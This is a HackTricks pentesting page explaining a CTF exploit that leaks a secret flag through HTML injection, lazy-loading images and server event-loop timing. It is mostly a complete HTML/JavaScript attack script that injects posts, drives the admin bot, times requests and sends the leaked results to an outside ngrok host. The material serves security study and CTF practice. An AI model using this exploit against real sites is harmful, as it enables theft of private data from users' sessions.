hacktricks/pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md
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# Event Loop Blocking + Lazy images
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In [**this exploit**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45), [**@aszx87410**](https://twitter.com/aszx87410) mixes the **lazy image side channel** technique through a HTML injection with kind of **event loop blocking technique** to leak chars.
This is a **different exploit for the CTF chall** that was already commented in the following page. take a look for more info about the challenge:
{% content-ref url="connection-pool-example.md" %}
[connection-pool-example.md](connection-pool-example.md)
{% endcontent-ref %}
The idea behind this exploit is:
* The posts are loaded alphabetically
* An **attacker** can **inject** a **post** starting with **"A"**, then some **HTML tag** (like a big **`<canvas`**) will fulfil most of the **screen** and some final **`<img lazy` tags** to load things.
* If instead of an "A" the **attacker injects the same post but starting with a "z".** The **post** with the **flag** will appear **first**, then the **injected** **post** will appear with the initial "z" and the **big** **canvas**. Because the post with the flag appeared first, the first canvas will occupy all the screen and the final **`<img lazy`** tags injected **won't be seen** in the screen, so they **won't be loaded**.
* Then, **while** the bot is **accessing** the page, the **attacker** will **send fetch requests**.&#x20;
* If the **images** injected in the post are being **loaded**, these **fetch** requests will take **longer**, so the attacker knows that the **post is before the flag** (alphabetically).
* If the the **fetch** requests are **fast**, it means that the **post** is **alphabetically** **after** the flag.
Let's check the code:
```html
<!DOCTYPE html>
<html>
<!--
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
-->
<body>
<button onclick="run()">start</button>
<!-- Inject post with payload -->
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
<input id=inp name="text" value="">
</form>
<!-- Remove index -->
<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
<input id=inp2 name="index" value="">
</form>
<script>
let flag = 'SEKAI{'
const TARGET = 'https://safelist.ctf.sekai.team'
f.action = TARGET + '/create'
f2.action = TARGET + '/remove'
const sleep = ms => new Promise(r => setTimeout(r, ms))
// Function to leak info to attacker
const send = data => fetch('http://server.ngrok.io?d='+data)
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')
// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1
// I have omited code here as apparently it wasn't necesary
// fallback to linerar since I am not familiar with binary search lol
for(let i=R; i>=L; i--) {
let c = charset[i]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
send('found: '+ flag+c)
flag += c
break
}
}
}, 0)
async function testChar(str) {
return new Promise(resolve => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
// <canvas height="3350px"> is experimental and allow to show the injected
// images when the post injected is the first one but to hide them when
// the injected post is after the post with the flag
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()
setTimeout(() => {
run(str, resolve)
}, 500)
})
}
async function run(str, resolve) {
// Open posts page 5 times
for(let i=1; i<=5;i++) {
window.open(TARGET)
}
let t = 0
const round = 30 //Lets time 30 requests
setTimeout(async () => {
// Send 30 requests and time each
for(let i=0; i<round; i++) {
let s = performance.now()
await fetch(TARGET + '/?test', {
mode: 'no-cors'
}).catch(err=>1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t/round
// Send info about how much time it took
send(str + "," + t + "," + "avg:" + avg)
/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = (t >= 1000)
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}
// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}
</script>
</body>
</html>
```
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